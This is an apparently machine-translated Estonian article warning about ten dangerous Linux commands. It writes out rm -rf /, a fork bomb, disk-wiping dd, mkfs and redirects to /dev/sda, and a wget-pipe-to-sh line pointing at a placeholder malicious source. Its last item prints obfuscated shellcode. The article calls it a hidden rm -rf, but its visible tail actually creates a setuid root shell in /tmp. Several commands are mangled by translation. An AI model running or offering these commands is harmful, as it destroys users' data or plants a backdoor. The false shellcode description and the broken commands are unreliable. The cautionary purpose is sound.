10 kõige ohtlikumat käsku - te ei tohiks kunagi Linuxis käivitada


Linuxi käsurida on produktiivne, kasulik ja huvitav, kuid mõnikord võib see olla väga ohtlik, eriti kui te pole kindel, mida teete. Selle artikli eesmärk ei ole teid Linuxi või Linuxi käsureale raevu ajada. Tahame lihtsalt teile teatavaks teha mõned käsud, mida peaksite enne nende täitmist kaks korda mõtlema.

1. rm -rf käsk

Käsk rm -rf on üks kiiremaid viise kausta ja selle sisu kustutamiseks. Kuid väike kirjaviga või teadmatus võib põhjustada süsteemile taastamatut kahju. Mõned käsuga rm kasutatavad võimalused on.

  1. Failide kustutamiseks kasutatakse Linuxis käsku rm.
  2. Käsk rm -r kustutab kausta rekursiivselt, isegi tühja kausta.
  3. käsk rm -f eemaldab faili „Ainult faili lugemine” küsimata.
  4. rm -rf /: sunnib kõik kustutama juurkataloogist.
  5. rm -rf *: sunnib kustutama kõik praeguses kataloogis/töökataloogis olevad failid.
  6. rm -rf. : Sunnitakse praegune kaust ja alamkaustad kustutama.

Seetõttu olge rm -rf käsu käivitamisel ettevaatlik. Faili juhusliku kustutamise ületamiseks käsuga ‘rm’ looge failis „.bashrc“ käsu ‘rm’ varjunimi rm -i, see palub teil iga kustutamine kinnitada.

2.:() {: |: &} ;: käsk

Ülaltoodu on tegelikult kahvlipomm. See toimib määratledes funktsiooni nimega ‘:’, mis kutsub end kaks korda, kord esiplaanile ja kord taustale. See jätkab täitmist uuesti ja uuesti, kuni süsteem külmub.

:(){:|:&};:

3. käsk>/dev/sda

Ülaltoodud käsk kirjutab ploki/dev/sda väljundi „käsk”. Ülaltoodud käsk kirjutab algandmed ja kõik plokis olevad failid asendatakse algandmetega, mille tulemuseks on ploki andmete täielik kadumine.

4. mv kaust/dev/null

Ülaltoodud käsk teisaldab kausta asukohta/dev/null. Operatsioonisüsteemis Linux/dev/null või null on seade spetsiaalne fail, mis loobub kõik sinna kirjutatud andmed ja kirjutab, et kirjutamistoiming õnnestub.

# mv /home/user/* /dev/null

Ülaltoodud käsk teisaldab kogu kataloogi Kasutaja kataloogi/dev/null, mis tähendab sõna otseses mõttes kõike, mis mustaaugule (null) saadeti.

5. wget http:// pahatahtlik_allikas -O- | sh

Ülaltoodud käsk laadib skripti pahatahtlikust allikast alla ja käivitab selle. Wget käsk laadib skripti alla ja sh täidab allalaaditud skripti.

Märkus. Peaksite olema väga teadlik allikast, kust pakette ja skripte alla laadite. Kasutage ainult neid skripte/rakendusi, mis on alla laaditud usaldusväärsest allikast.

6. mkfs.ext3/dev/sda

Ülaltoodud käsk vormistab ploki sda ja kindlasti teate, et pärast ülaltoodud käsu täitmist on teie plokk (kõvakettaseade) uus, täiesti uus! Andmeteta, jättes süsteemi taastamatusse etappi.

7.> fail

Ülaltoodud käsku kasutatakse faili sisu loputamiseks. Kui ülaltoodud käsk täidetakse kirjavea või teadmatusega, kirjutab konfiguratsioonifail või muu süsteemi või konfiguratsioonifail näiteks “> xt.conf”.

8. ^foo ^baar

Seda käsku, nagu on kirjeldatud meie 10 vähemtuntud Linuxi käsus, kasutatakse eelmise käsu redigeerimiseks, ilma et oleks vaja kogu käsku uuesti tippida. Kuid see võib tõesti olla tülikas, kui te ei riskinud algse käsu muudatuste põhjalikku kontrollimist, kasutades käsku ^foo ^bar.

9. dd kui =/dev/juhuslik =/dev/sda

Ülaltoodud käsk kustutab ploki sda ja kirjutab plokki juhuslikud rämpsuandmed. Muidugi! Teie süsteem jääks ebajärjekindlasse ja taastamatusse staadiumisse.

10. Varjatud käsk

Allpool olev käsk pole midagi muud kui esimene ülaltoodud käsk (rm -rf). Siin on koodid peidetud heksades, et asjatundmatut kasutajat petta saaks. Allpool oleva koodi käivitamine terminalis pühib teie juurpartitsiooni.

See käsk näitab siin, et oht võib olla peidetud ega ole mõnikord tavaliselt tuvastatav. Peate olema teadlik sellest, mida teete ja mis oleks selle tulemus. Ärge koostage/käitage koode tundmatust allikast.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Märkus. Ärge täitke ühtegi ülaltoodud käsku oma Linuxi terminalis või shellis ega sõbra ega kooli arvutis. Kui soovite neid testida, käivitage need virtuaalses masinas. Mis tahes järjepidevus või andmete kaotus ülaltoodud käsu täitmise tõttu rikub teie süsteemi, mille eest ei artikli autor ega Tecmint vastuta.

Praeguseks kõik. Varsti olen jälle siin ühe teise huvitava artikliga, mida teile meeldivad lugeda. Siiani olge Tecmintiga kursis ja ühenduses. Kui teate muid selliseid ohtlikke Linuxi käske ja soovite, et me lisaksime loendisse, siis palun rääkige meile sellest kommentaaride jaotise kaudu ja ärge unustage oma väärtuslikku tagasisidet anda.